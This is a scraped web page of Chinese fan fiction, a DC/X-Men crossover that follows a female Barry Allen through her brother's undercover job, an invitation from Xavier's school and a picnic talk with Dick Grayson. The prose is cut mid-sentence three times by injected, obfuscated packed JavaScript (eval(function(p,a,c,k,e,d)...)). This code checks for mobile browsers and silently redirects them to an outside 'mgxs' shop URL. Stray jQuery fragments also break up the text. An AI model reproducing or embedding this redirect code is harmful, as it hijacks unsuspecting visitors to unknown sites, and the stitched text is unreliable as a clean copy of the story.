$(''.inform'').remove(); $(''#content'').append('' ”巴莉对肯特记者兴趣不大,在得知伊德瑞斯的卧底行动有超人照看之后,心里的担忧淡去几分,也终于有心情好好地打量起伊德瑞斯。 她饶有兴趣地研究着伊德瑞斯此刻的雅痞打扮——比他平时多了几分街头气息,还带着一丝危险感。 “把眼镜戴上。”巴莉催促道,“我刚才没看清楚。” 伊德瑞斯非常耐心地照做,还干脆站起身来,借着客厅的落地灯摆了几个姿势,像是在配合时尚杂志拍摄。 乔懒得看那只开屏孔雀,揉了揉太阳穴:“我累了,先休息了。你们也别熬太晚。” “晚安,乔。”/“晚安,爸。” 乔回卧室休息后,巴莉问:“你什么时候去巴尔的摩?” “明天早上。” “什么时候回来?”巴莉追问。 “顺利的话,下星期就能回来。”在巴莉催促的眼神下,伊德瑞斯很自觉地补充道,“最多两周。” 话音刚落,他忽然意识到,自从巴莉来到家里后,他们从没分开过这么久。 两人都是在本地读的大学,毕业后即使偶尔出差,也只不过两三天而已。他们都住在家里,早上不见晚上见,早就习惯了这种碰面频率。 果然,巴莉下意识地说了一句:“这么久啊。” 她旋即意识到这个反应有点幼稚,一点没有职场人士的拼搏奋进精神,赶紧补救:“对调查记者而言,这只算是短期卧底。那些普利策奖获得者动辄在危险地区待上几个月。” 冠冕堂皇的话说完,巴莉又假装不在意地提问,语气轻快得有点虚假:“在这期间,我们还能联系吗?巴尔的摩也许挺好玩的,虽然我没去过。” 伊德瑞斯想起肯特记者的反复叮嘱,不得不打破巴莉的期待:“肯特记者说,我可以带一部一次性手机,每天给你们发个约定好的内容报告平安。但闲聊太危险了,万一被人发现,是一个巨大的破绽。” “好吧,有道理。”巴莉叹了口气。“那你一定要记得发,如果二十四小时没有联系,我就去找你。” 伊德瑞斯看着巴莉,安慰道:“肯特记者是资深调查记者,经验特别丰富。他说超人很可靠,在他遇到危险的时候救过他好几次。” 为了增加说服力,伊德瑞斯又举了个例子:“莱恩记者也一样。有一次她在战区采访,差点被当成人质,多亏超人从天而降。” “你有没有意识到,你越是这样说,这件事听起来就越吓人?”巴莉忍不住阻止伊德瑞斯继续说下去。 伊德瑞斯失笑,随即收起调侃,语气变得认真起来:“我会安全回来的。我保证。” “我还需要超人的保证。”巴莉小声嘀咕道。 巴莉很清楚,自己的担心对伊德瑞斯毫无帮助,只会徒增心理压力。她露出一个笑容:“记得给我带纪念品。” 伊德瑞斯揉揉巴莉的头:“我会好好挑选的。” 5. 第 5 章 第二天早上,巴莉被闹钟叫醒时,伊德瑞斯已经出发了。 尽管她昨晚再三要求,但他还是没有叫醒她,只在冰箱上留了一张纸条,用一枚咖啡杯形状的冰箱贴压着。 便签纸上,伊德瑞斯画了十四个整齐的小方框,每个框里都写了一个日期。纸条最下面,他写道:倒计时,等我带纪念品回来。 “说得好像是去打猎了一样。”巴莉没有把纸条取下来,依然将它留在冰箱门上。她拿起一支笔,在对应着今天的那个小方框上划了一个叉。 乔正站在岛台边,像一个无情的机器人一样拼装三明治。他把鸡胸肉、煎鸡蛋、西红柿和生菜依次叠放在全麦面包片上,再用另一片面包压住,一个快手三明治就完成了。 全部做完之后,他将一部分成品放进饭盒里,然后抬头催促巴莉:“快来吃饭。” 二十分钟后,巴莉带着饭盒坐在了乔的副驾驶座。 “伊德瑞斯出发前剪了头发吗?我还没看到呢。”巴莉终于有时间说话了。之前她一直忙着吃早饭,连抱怨都腾不出时间。 乔听出了她语气中的不满,虽然并不是针对自己的。他解释道:“他要去巴尔的摩剪。那里的理发师手艺和中心城的风格不太一样。” “那只好等他回来才能看到了。”巴莉噘嘴。她其实不太理解平头还能有什么风格差异,但既然乔这么说了,那大概是经验之谈。 “你不是已经看到了吗?就照片上那样。”乔像是已经读过详细剧透的观影者,一点期待也没有。 “那怎么能一样呢?伊德瑞斯从没把头发剪过那么短。”巴莉和乔的态度截然相反,恨不得穿越到几天之后去看一看。 乔好笑地摇了摇头,以为巴莉还会再念叨几句,却见她忽然安静下来,过了一会儿才犹豫地开口:“乔,你会因为伊德瑞斯的行动担心吗?昨天你刚知道的时候,尝试过阻止他吗?” 她想到了自己的另一个身份。 如果说在这个世上,她只能将这件事告诉一个人,那这个人一定是乔。 乔的目光仍然专注在路面上,没有立刻回答,像是在心里整理答案。他一向如此,从来不会敷衍孩子们的任何一个问题,无论那是在生活中带点幼稚和傻气的疑惑,还是在对前路感到不知所措时的迷茫。 他给出了一个坦白的回答:“我当然担心。但他是去做正义的事情。他的行动可能避免几十人、甚至上百人的伤亡,我怎么能阻止呢?” 说到这里,他轻轻地叹了口气:“而且他是成年人了,知道这件事可能的危险和代价。” 巴莉低着头,指尖扣着饭盒的边缘,几乎要在塑料上刻下一个印子。那个想过许多次的问题在胸口徘徊,最终还是被问了出来:“如果做这件事的人是我呢?你会阻止我吗?” 乔露出一种介于无奈和早有预感之间的神情:“我会很想阻止你。你是我的女儿,但也不只是我的女儿。我有义务替亨利保护你。” 巴莉的心沉了下去。 “但我不会真的那么做。”乔继续说下去,“因为那是你的决定。不过,我会训练你,严格地训练你,将我会的一切都教给你,让你能安全地回家。” 巴莉忽然觉得喉咙有些发紧。她掩饰地转过头,看向车窗外。清晨的阳光在玻璃上流动,映出她模糊的倒影——她看起来只是一个普通人。 但她不仅如此。她是闪电侠。 “乔……”巴莉开口,却又顿住了。 “我知道你最近一直很忙,我也是,我们确实很久没好好聊过了。”乔耐心地等了一会儿,见巴莉不打算继续,这才开口。“但如果你想聊聊,不管是什么时候,我随时都在。” “我知道。”巴莉点点头。“我真高兴你有了新搭档。” “还在考验期的新搭档。”乔纠正道。 “至少这次你没有直接拒绝。我感觉埃迪真的很想和你好好合作,昨天他还特地问我,你喜欢喝什么口味的咖啡。” “看来你已经出卖了机密。”乔开玩笑地说。 “我没有把你对甜甜圈的口味偏好告诉他。”巴莉一本正经地报告。 “很好。请替我守护这个秘密。”乔也故作严肃。 当天晚上,巴莉收到了一条短信。内容很简单,只有巴尔的摩第二天的天气预报。 她盯着那个号码,知道自己不能回拨过去,询问伊德瑞斯第一天卧底生活过得怎么样,让他讲述种种细节。 但至少,他已经安全地度过了第一天。 巴莉把手机倒扣在桌面上,重新把注意力放回电脑屏幕,继续检索变种人相关的信息。 她迫切地想弄清楚两个问题:如何在不做基因检测的前提下,判断自己是不是变种人,以及在哪里能检测自己是否携带X基因。 但无论她怎么调整关键词,得到的结果都少得可怜,比她预期的还要少。甚至连阴谋论和都市谣言都寥寥无几,显然是被人为地抹除过。 相比之下,压根不存在的吸血鬼,其相关信息却是变种人的无数倍,仿佛它才是真正在人类社会中存在了几十年的那一个。 巴莉转而开始思考别的途径。也许应该去图书馆翻翻旧报纸,毕竟纸质记录更难隐藏,在被销毁的时候也更容易存在漏网之鱼。反正以她的速度来说,用不了多久就能翻完几十年的档案。 另外,周末的时候还可以问问迪克,他见多识广,也许听说过什么。 巴莉合上电脑,决定早点睡觉。 接下来的几天里,巴莉的生活表面上看起来没有任何变化。她照常上班,照常在需要的时候出现,帮人、救人,把城市里的危机在刚一冒头时便解决掉。下班后,她照旧待在仓库里,调试和修补制服。 唯一的不同,是她特意去了一趟图书馆,但一无所获。 周六那天,巴莉值班。起床后,她走进厨房,习惯性地先在当天的日期方框上画了个叉。 “他回来之后,我们应该庆祝一下。”巴莉自言自语道。 没有人回应。乔已经出门了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17033346|194580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 去警局的路上,巴莉顺路买了一盒甜甜圈,打算去蹭警局的免费咖啡。这就是她的早餐了。 虽然局里的每个人都会抱怨那台老咖啡机煮出来的东西味道一般,但它是免费的。考虑到大家的咖啡因摄入需求之高,这一个优点便足以压倒所有缺点。 但巴莉在实验室的门口看到了一杯咖啡,却没有附任何字条。她愣了一秒,想起早上手机似乎响过,拿出来看了一眼,果然有一条未读短信。 是埃迪发的:加班愉快。早上买咖啡的时候,帮你带了一杯。 巴莉回复道:谢谢。正是我在周末加班时需要的。 她先快速地吃了早饭,一边在心里将当天需要完成的检测过了一遍。周末的实验室只有一个人值班,这意味着她可以用神速力迅速完成工作,然后得到一段摸鱼时间。 倒不是说她不想一口气把所有工作都做完,但那样未免太引人怀疑了。实验室里的效率存在一个合理区间,一旦超出太多,就会变成引人注意的异常。 因此,巴莉只能稍微比平均水平多完成一些工作,但不能多得离谱,让她看起来只是一个工作积极、手脚麻利的普通人。 下午,巴莉打开电子邮箱,快速地浏览了一遍垃圾邮件,避免重要邮件被系统错判。大部分都是真正的垃圾邮件,无需点开便可以直接删掉,但其中的一封吸引了她的注意。 邮件的主题是“学术座谈邀请”,发件人是泽维尔天才少年学院。 巴莉迟疑了一下,还是点开了邮件,快速地扫过正文: “亲爱的巴莉·艾伦小姐: 冒昧来信,敬请谅解。 我是泽维尔天才少年学院的教授亨利·麦考伊。近日,我注意到了您在大学期间完成的毕业论文,其研究视角与方法论具有极高的启发意义。 尤其是您在论文中对“人体生物痕迹分析在高应激状态下的可靠性研究”的探讨,引起了我的浓厚兴趣。鉴于此,我们诚挚地邀请您参加一场小型学术座谈会,与本校研究人员进行学术交流与讨论。 若您有兴趣,我们将承担您的交通和住宿费用。 期待您的回复。我的电话是914-111-1111。 祝好。 麦考伊博士” 巴莉又读了一遍邮件。她的名字拼写正确,描述的论文内容也符合实际情况。如果这是诈骗邮件,那背后之人也太费心了。 但她还是微微皱起眉。虽然她对自己的论文很满意,却从未想过它会引起一位教授的兴趣,更别说邀请她参加座谈会了。 她在搜索框里输入学校的名字,点开了官网。页面设计平平无奇,基本信息齐全,但也仅止于此,没有更详细的学术项目或教授介绍。 学校的地址在纽约州威彻斯特郡,离中心城不算远。 接着,巴莉又搜索了麦考伊教授的名字,惊讶地发现他是一位发表过不少论文的学者,研究方向是生物学和遗传学。 好吧,这样看来,可疑程度又降低了。 6. 第 6 章 巴莉决定立即给麦考伊教授打个电话,确认对方究竟是不是骗子。 她的判断标准很简单:如果对方要求她预先支付一些巧立名目的费用,那就是诈骗无疑。反之,如果真的只是一次免费的学术会议,那去一趟也没什么损失。 电话很快被接听了,一个低沉的声音响起:“你好。” “你好,我是巴莉·艾伦。请问是麦考伊教授吗?” “叫我汉克。你看到我的邮件了。” 汉克的语气让巴莉莫名地想起高中时的校长,一个古板和心软的奇妙结合体,对顽皮的学生总是嘴上严厉、实际上很宽容。她下意识地坐直了身体:“是的。我想多了解一下邮件里提到的座谈会,比如具体的举办时间,以及参会人员的情况。” “参会者是几位年轻学者,背景各不相同,包括法医学、生物学和化学。”汉克回答,“具体时间还没有最终确定,我想先了解一下潜在参会者的时间安排。” 巴莉打开自己的日程表,报出了几个日期备选。她听到电话另一端传来细微的书写声,随即汉克说:“我记下了。等时间敲定之后,我会给你发邮件。对了,私人飞机去哪里接你比较方便?” “私人飞机?”巴莉以为自己听错了。 “如果你不喜欢搭乘飞机的话,我们也可以安排豪华轿车。”汉克误解了巴莉迟疑的原因。 巴莉感觉对方和自己生活在不同的现实世界里。她尽量让语气保持镇定而礼貌:“我在中心城,飞机就可以。” “好的。会议结束后会有一场小型晚宴,晚上住宿在学校里,第二天再送你回中心城,这样的日程安排可以吗?”汉克问。 “当然,听起来很好。谢谢。”巴莉说。 挂断电话后,巴莉觉得自己好像是在做梦。她拿起咖啡杯,送到嘴边喝了一口,才发现杯子里已经空了。 “打起精神来,别一副没见过世面的样子。”巴莉轻轻地敲了敲自己的脑袋,自嘲地说。“不过……私人飞机,这个学校到底是多有钱?晚宴的食物一定很豪华吧。” 周日,巴莉和迪克见面后,决定去公园野餐。 中心城的阳光一向灿烂,这一点与阴雨绵绵的布鲁德海文形成了鲜明对比。因此,迪克夸张地把来中心城形容为“补充光照”,并热衷于在户外活动。 两人在草地上铺好野餐布,把刚买的食物一一摆开。迪克还带了一大盒饼干,说是家人烤的。他以前带过一次,巴莉觉得味道非常好,在车上闻到那股黄油香气后,没忍住先吃了一块。 “这种感觉真好。”迪克喝了一口咖啡,在阳光下微微眯起眼。 巴莉看向周围。有人带着狗玩飞盘,有人陪着小孩玩耍,也有人什么都不做,只是单纯地享受天气。世界看起来温暖又放松。 在阳光下,巴莉带着掩饰不住的兴奋,把自己被邀请去参加学术座谈会的事情告诉了迪克。 “起初我还以为是诈骗邮件。但私人飞机往返,我想我还不值得骗子下这么大的本钱。”巴莉开玩笑地说。 “听起来对方是很具诚意的邀请。”迪克听完,非常为巴莉高兴。“我想去读一读你的论文了。你肯定花了很多精力在上面。” “我知道,我有点书呆子。”巴莉不好意思地承认,“我的大学生活乏善可陈。没有派对,没有约会,除了学习就是在实验室打工。” 她很肯定,迪克的校园生活大概和自己完全相反。他符合校园风云人物的所有刻板印象:论外貌,他有黑发蓝眼的出众相貌和高大身材,像是从漫画里走出来的人;论性格,他能令任何人感到如沐春风,更重要的是,他的和善是真心的,而非流于表面。 此外,迪克的家境显然非常优渥。虽然他从不刻意炫耀,不穿名牌也不谈论钱,但他在做任何消费决定时都从来不去费心思考。这一点和普通人截然不同。 “你的努力为你赢来了私人飞机接送的会议邀请。”迪克鼓励道。他觉得巴莉有时候太过谦虚了。“对了,那所学校叫什么?” “泽维尔天才少年学院。”巴莉回答。“我查过了,它没什么名气,看起来只是一所地区院校。” “我好像在哪儿听过这个名字。”迪克若有所思。“它可能比你想象的更出名一点。” 两人又聊了聊各自的近况。迪克吐槽局里的某些资深警员尸位素餐,想尽办法逃避工作,不过这种人至少不给同事添麻烦。相比之下,那几个收了贿赂之后试图干扰迪克办案的人更可恨。 “等你将来当上局长,第二天就把这些蛀虫全都开除。”巴莉听得很生气,握紧了拳头。 中心城警局当然也存在官僚主义,但整体仍然维持着认真工作的正经氛围。她想象了一下,如果自己在布鲁德海文警局上班,可能会忍不住用自己的超级速度,蒙面将这些讨厌的家伙全都揍一顿。 “我会努力升职的。”迪克发誓道。 “不过,”巴莉忽然想到了个办法,给迪克出主意,“我记得在网上看到过,布鲁德海文也有个义警,名字我不记得了,但据说他的……身材很好。” 巴莉差点把“屁股很翘”、“大腿线条特别好看”的描述说出来,临时改了口。倒不是说她的关注点只在这上面,而是布鲁德海文的网友们在提到那位义警时,无论是褒是贬,最后总会加上一句对身材的描述,仿佛少说这一句就缺了重点一样。 迪克有点尴尬地向后缩了缩,低声说:“他的代号是夜翼。” “对,就是这个名字。”巴莉点头。“你也许可以和夜翼合作,把那些黑警的名单给他,让他去干掉他们。” “首先,夜翼是个义警,不是雇佣杀手。”迪克无奈地低笑了一声。“其次,如果我真这么做了,第二天警局里大概也不剩几个人了,而新来的人又会迅速地补上原来那些人的位置。如果不能彻底改变风气,单纯除掉某个人是没有用的。” 这个感慨听起来颇为沉重而现实。巴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17033347|194580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 莉叹了口气,却想不出什么可以立竿见影的解决办法。 两人忧愁地沉默了几分钟,空气里只剩下他们咔嚓、咔嚓嚼饼干的声音。 巴莉忽然想起自己还有一件事情要问。她环顾四周,确认附近没有人能听到他们的谈话,才微微靠近迪克,压低声音问:“你听说过变种人吗?” 迪克一愣。 他终于想到,自己之前为什么会觉得学校名字耳熟了。那不正是不为公众所知、却在地下信息渠道中赫赫有名的变种人专门学校吗? 创始人兼校长查尔斯·泽维尔出身富豪家庭,拥有强大的心灵感应和精神控制能力。他是变种人群体中最具威望的两个人之一,另外一个是艾瑞克·兰谢尔。两人是多年挚友,后来一度因为理念分歧而决裂,据说现在关系有所缓和。 这些信息在迪克脑海中浮现,他却没办法全部与巴莉分享,因为他无法合理地解释自己是怎么知道这些的。 他总不能坦白,说自己就是蝙蝠侠的前助手罗宾、如今在布鲁德海文活跃的夜翼吧。 巴莉安静地坐着,琥珀色的眼睛望着迪克,等待着他的回答。她的表情充满期待,显然已经从迪克的反应中确认了,他一定知道些什么。 忽然,一个危险的猜测从迪克心底冒出来。他下意识地朝左右看看,也靠近了些,有点紧张地问:“你对别人提起过这个吗?” 巴莉被他的情绪影响,也紧张了:“只有一个人,是她先提起的。之后我尝试着在网上查过,但一无所获。图书馆也没有什么资料。” “你什么时候查的?”迪克追问。 “这周初。”巴莉说。 迪克几乎可以确定,自己的猜测绝非多疑,而是合理推断。 周初,巴莉在网上检索变种人的信息;周六,她就收到了来自变种人学校的邀请——如果这两者之间毫无关联,他就把蝙蝠电脑吃了。 “怎么了?我是不是做错了什么?”巴莉的思维飞快转动,“是不是因为网上的搜索痕迹被联邦调查局(FBI)盯上了?” “FBI可能会监控搜索这些关键词的人,但它不会是唯一一个。”迪克决定将知道的信息告诉巴莉,因为他不能眼睁睁地看着她一无所知地走进危险。“也许,你是被变种人组织盯上了。” 此时,两人的头已经靠得极近,几乎是在用气声交谈。 迪克斟酌着字句:“泽维尔天才少年学院,是一家专门招收变种人的学校,里面的师生全是变种人。” “什么?”巴莉瞪大了眼睛。“所以,你是说……” “为了掩饰,他们也以普通教育机构的名义与外界交流,所以这次会议可能真的是因为他们对你的论文感兴趣。”迪克委婉地说,“但概率不高。” 他关注着巴莉的表情,担心她受到打击。但巴莉很平静地接受了这个猜测,思考了一秒,然后干脆地说:“他们很可能只是想找个理由让我过去。那我就更得去看看了。” 7. 第 7 章 巴莉的想法很简单。她正在发愁要怎么才能和变种人有接触呢,这份邀请简直是天赐良机。就算对方心怀不轨,她也不怕,因为她未必能打得过,但绝对能跑得掉。 何况,她也许算是变种人学校的“自己人”,说不定能当场收到一封录取通知书。 这一次,轮到迪克瞪大了眼睛:“你仍然打算去?” 他已经想好了一个借口,准备说那些信息都是从布鲁德海文警局的前辈那里听来的。这个理由很牵强,但至少算是个解释。 可出乎他意料的是,巴莉根本没有追问他的消息渠道,而是没有犹豫地全盘接受了。 这种毫无保留的信任让他心里生出一种复杂的感觉——被她信任的喜悦与隐约的不安交织在一起。他为此感到高兴,却又忍不住担心:她是不是对别人也同样容易相信? 然而,他来不及细想这些情绪,因为巴莉的话更让他吃惊。 “当然。他们难道还能让我从人间蒸发吗?”巴莉故作轻松地说。“我好歹也是警察局的一员。袭击警察……” “对他们来说不算什么。”迪克直接打断了她,神情是从未有过的严肃。“你以为变种人一直是靠和平抗议争取权利的吗?别说你和我这种地方城市的警察了,就算是总统,他们在动手的时候也未必会忌惮。” 巴莉被这句话噎住了。她还没天真到以为变种人是靠着“非暴力不合作”的方式存活至今的,只不过是有恃无恐,自认为有能力保护自己。 但迪克不知道这一点,因为她那副看似满不在乎的态度而感到不安,失去了一贯的冷静。 话一出口,迪克便意识到自己的语气太强硬了,几乎像是在指责巴莉。他放缓了语气,提议道:“如果你一定要去的话,那我和你一起去吧。等会议时间定下来告诉我,我可以请假。” “不行,那样看起来太奇怪了。”巴莉不得不拒绝这个提议,虽然她心里有些想接受。但她不想让迪克跟着她一起冒险。 同时,她也有一个非常正当的理由:“而且我需要一个后援。万一我真的失联了,你可以带人去救我。” 两人为此又争执了好一会儿,最后是迪克不情不愿地妥协了:“好吧。但你去的时候,我们必须保持联系。如果连续四个小时,不,三个小时没有收到消息,我就去找你。” 巴莉觉得这话莫名熟悉,和她之前对伊德瑞斯说的十分相似,忍不住笑了:“我会不断地汇报情况的。” 她想到自己暴露得如此轻易,感慨道:“看来我得学点黑客技术了,至少要学会怎么把自己在网络上的痕迹藏起来。” “那会很有用。不过在此之前,我可以先帮你装一套防火墙和反追踪的软件,”迪克给出一个更务实的方法,“隐藏IP地址、屏蔽常规追踪,对付FBI应该够用了。” 他停顿了一下,又补充道:“但要是更专业的组织,就不一定挡得住了。” “如果FBI知道自己的技术还比不上变种人学校的,估计会被气疯吧。”巴莉被迪克的这句补充逗笑了。 “他们自己也很清楚这个现实。”迪克耸了耸肩。“一个是上班领固定工资,一个是动不动就生死一线。压力不一样,练出来的本事当然也不一样。” “我想,变种人的生存环境一直都很糟糕吧?”巴莉问。 “是的。”迪克点头,“人类总是会对和自己不一样的存在感到恐惧,甚至排斥。” “但严格来说,变种人和普通人之间并不存在一条清晰的分界线。很多变种人的父母本来就是普通人,而他们的孩子也可能完全没有任何能力。”巴莉说。 “正是因为这种随机性,让人不知道该把‘危险’的界限划在哪里。”迪克的目光落在巴莉的脸上,她正轻轻抿着唇,愤慨和不满显而易见。“相比两个天生无法通婚、无法产生后代的种族,这种混在一起、随时可能出现在你身边的差异者,更容易引发恐惧。而恐惧一旦被放大,就会变成敌意。” 巴莉知道迪克说的是对的。她忽然问:“你觉得夜翼是变种人吗?” “也许他只是体能比普通人好一点。至少我还没听说他会喷火的传闻。”迪克给了一个模糊的回答,随即反应过来:“你觉得闪电侠是变种人?” “闪电侠的速度很快,快得不太科学,不是吗?”巴莉说。 “超人的速度也很快,但他是外星人。”迪克说。 威尔斯博士也是这么说的,难道就没有其他可供反驳的例子了吗?巴莉在心里撇了撇嘴,觉得外星人简直像是电影里面的量子力学,遇事不决就会被搬出来。 “不知道闪电侠和超人相比,谁的速度更快。”巴莉自言自语道。“我想我会投闪电侠一票。” 迪克觉得巴莉的选择全是感情倾向、毫无思考分析,但谁又能断言她一定是错的呢?这个问题可能只有让超人和闪电侠比试一场,才会有答案了。 “你是不是觉得我在偏心?”巴莉抢在迪克开口之前,先说了他的台词。 “就算你偏心,那也没什么问题。每个城市的人都偏爱自己的英雄。”迪克笑着说。“就好像如果有人问我,蝙蝠侠和超人谁更厉害,我永远会说是蝙蝠侠。” “对哦,你是在哥谭长大的。”巴莉眨眨眼,随即抛出一个灵魂提问,“那如果在蝙蝠侠和夜翼之间选呢?” 迪克明显地犹豫了,然后谨慎地说:“现在是蝙蝠侠。未来……不一定。” 巴莉不出所料地没得到一个明确答案,但她对此也不介意。之所以追问一句,只是因为她觉得迪克认真纠结的表情有意思极了。 她觉得,就算问迪克电车难题,他都不会纠结到这个程度。 于是,她决定再加一把火:“看来,你觉得夜翼总有一天会胜过蝙蝠侠?” 迪克这次卡壳的时间更久了,最终也没能给出答案。 倒不是说他没想过这个问题。恰恰相反,他思考过太多次了。 正义感、责任感、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17033348|194580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 保护他人的坚定决心,从蝙蝠侠那里学到的一切塑造了现在的他。 作为罗宾的他仰望蝙蝠侠,而作为夜翼的他是否能超越蝙蝠侠呢? 蝙蝠侠是独一无二的、无可替代的,或许也是无法超越的。但他可以成长为能与其并肩的人。 “抱歉,我走神了。”迪克从思绪中惊醒过来。 “没关系,你走神的时间长度刚刚好。”巴莉有点心虚地说。她趁着迪克发呆,把最后的几块饼干珍惜地吃完了。 迪克原本以为她是在打趣自己,直到低头发现她做了什么之后,好笑地说:“我现在要开始怀疑,你是不是故意抛出难题来转移我的注意力了。” “我只是抓住了机会。”巴莉得意地歪了歪头。“说真的,你家人做饭这么好吃,你竟然没有吃成一个立方体,实在是太有毅力了。” “我在家里住的时候,因为太过习以为常,其实偶尔还会挑食。搬到布鲁德海文之后,下班后经常又忙又累,却还得自己想办法填饱肚子,这才意识到,回家就有现成的美味饭菜等待是多么幸福。”迪克想到年少时的不知珍惜,内心流下悔恨的泪水。 谁能想到,他的成年生活竟然是靠麦片和能量棒支撑的呢?这和蝙蝠侠的范本不说是一模一样,至少也是相差甚远。 蝙蝠侠拥有万能管家阿尔弗雷德,后者文能做生活后勤保障,武能做夜巡技术支持。 每个超级英雄都需要一个阿尔弗雷德。 如果能将阿尔弗雷德复制一个给他,那就算以后让他天天住豪宅、开蝙蝠车他也愿意啊。 “我太理解了。”巴莉同情地拍拍迪克的肩膀。他看起来就像是失去了自动喂食机的小狗,眼里的光芒都黯淡了。 她和伊德瑞斯谁都没有认真考虑过从家里搬出去,原因之一是为了省房租,之二就是离不开家人之间的彼此照应。 虽然真要细说起来,大部分时间都是伊德瑞斯在照应她。 “不过,如果重来一次,我猜你还是会去布鲁德海文的。”巴莉看着迪克,语气笃定。 迪克并不是那种对工作毫无怨言、永远任劳任怨的老好人。他和所有人一样,会疲惫、会抱怨、会在某个时刻爆发出对现实积攒的不满。可这些情绪往往来得快、去得也快。 转眼之间,他又重新投入到工作里,不知疲倦,仿佛之前的烦恼只是短暂的停顿,而不是足以让他停下脚步的理由。 与此同时,巴莉的脑海里不受控制地上演了一段苦情戏:富家子弟为了追求梦想,毅然离家出走,投身警察行业,在阴冷的异乡独自生活。 ——虽然布鲁德海文和哥谭之间的距离其实并不算远,称为“异乡”属于过度夸张,虽然哥谭的天气比布鲁德海文更加阴冷,但那些都不重要。 “我确实不后悔这个选择。”迪克咬着三明治,被巴莉盯得有点紧张,连咀嚼都放慢了。“你在想什么?” “没什么,只是觉得你很厉害。”巴莉由衷地说。 8. 第 8 章 伊德瑞斯回到家的时候,时间已经接近午夜。 那一天,巴莉和乔在家一起吃了晚饭。巴莉将用过的餐具放进洗碗机,然后坐回餐桌旁,面前放着笔记本电脑和一本编程教材,开始边学边练。 上次和迪克见面后,他当晚就给她发了一个很好用的反追踪软件,如今已经安装在她的电脑上,但她还是想自己掌握一些基本知识。 乔坐在沙发上看球赛,电视里的解说声十分热闹,可他有些心不在焉。 两人的手机都放在触手可及的地方。他们时不时瞄一眼静默无声的手机,又若无其事地收回视线。 随着时间一点点逼近深夜,空气逐渐变得沉重起来。 洗碗机已经完成了工作,不再发出声响。电视上的比赛不知何时被换成了企鹅纪录片。 巴莉终于忍不住打破了沉默:“乔,你的手机有信号吗?” 这个问题是典型的没话找话,但乔还是先查看了手机,然后才回答:“有信号。” “我的也有。”巴莉说。 两人对视了几秒,什么都没说。随后,他们心照不宣地移开了视线,各自假装重新投入到手头的事情里。 过了一会儿,乔说:“很晚了,你去休息吧。” “我不困。”巴莉说着,很不合时宜地打了个哈欠。她有点不好意思,补充道:“好吧,有点困,但是睡不着。” 乔说:“伊德瑞斯可能是被什么事绊住了,估计很快就会发短信了。” “肯定是这样。”巴莉说。 两人又沉默下来。 就在巴莉犹豫着要不要编个理由出门,直接去一趟巴尔的摩的时候,门外忽然传来了说话声。 声音被墙壁和门板削弱了,听不清具体内容,只能模糊分辨出是两个男人。 这个时间点,周围的邻居早就回家了,街道理应一片安静。有人驻足在他们家门口,本身就显得格外不对劲。 巴莉下意识地坐直了身体,抬头朝窗外望去。 乔的反应比她更快。他脸上的放松瞬间褪去,取而代之的是多年警察生涯养成的警惕。他站起身,没有说话,径直走向保险柜,输入密码后取出了配枪。 他做了个手势,示意巴莉别出声,然后朝门口移动。 巴莉抓起手机,跟在乔身后,看着他悄无声息地拧动门把手。 下一秒,紧绷到极点的气氛陡然消散了。 门廊上的灯光照亮了门外的两道身影。站在门外交谈的,是伊德瑞斯和超人。 超人落地时无声无息,轻盈得像一片羽毛。地球的物理规律在他面前仿佛失去了意义。 伊德瑞斯站稳之后,连声向超人道谢。 “我很高兴你没事。”超人用视线扫过伊德瑞斯全身,确认他完全没有受伤。“你为此冒了很大的风险,却不能因此得到任何荣誉。” “能避免黑/帮火拼造成的连带损失,我觉得这已经是最好的报酬了。”伊德瑞斯想到过去十天见到的那个与中心城截然不同的世界,心中涌出一丝无力感。 在巴尔的摩,少年在中学辍学后加入帮派几乎成了一条默认路径。他们被迅速吸收为打手,或被安排到街头贩毒,成为帮派最廉价、也最容易替换的消耗品。 他们会得到在童年里连想都不敢想的钱,却不知道该怎么留住它,只能一天天地花掉,以挥金如土的方式,好像明天不会到来。 通常,他们也确实没有明天。过不了几年,他们就会因为枪击或毒品滥用而死去。 如果说这些人还能被指责为自甘堕落的话,那些躲在房间里,却被流弹误伤、甚至因此丧命的人,他们又犯了什么错呢? “当地的悲剧故事已经够多了,能避免哪怕一件也是好的。”看着超人,伊德瑞斯心里的无力感不减反增。 就算是超人,这个具有远超人类力量的外星人,也无法简单地抹去地球上的一切罪恶和黑暗、贫穷与不公。 “你改变了很多人的命运,尽管他们并不知晓。”超人的语气笃定。 “你能听见地球上的一切恶行,为什么没有因此对人类感到失望呢?”伊德瑞斯对超人的稳定情绪感到不解。 “因为我也能听见地球上的一切善行。”超人露出一个温和的微笑,“我对人类有信心。” 他看向从屋里探头出来的巴莉和乔,礼貌地点头示意,然后飞入夜空。 “我还没来得及问他要不要喝杯水。”乔把门完全拉开,有点失望地嘟囔。 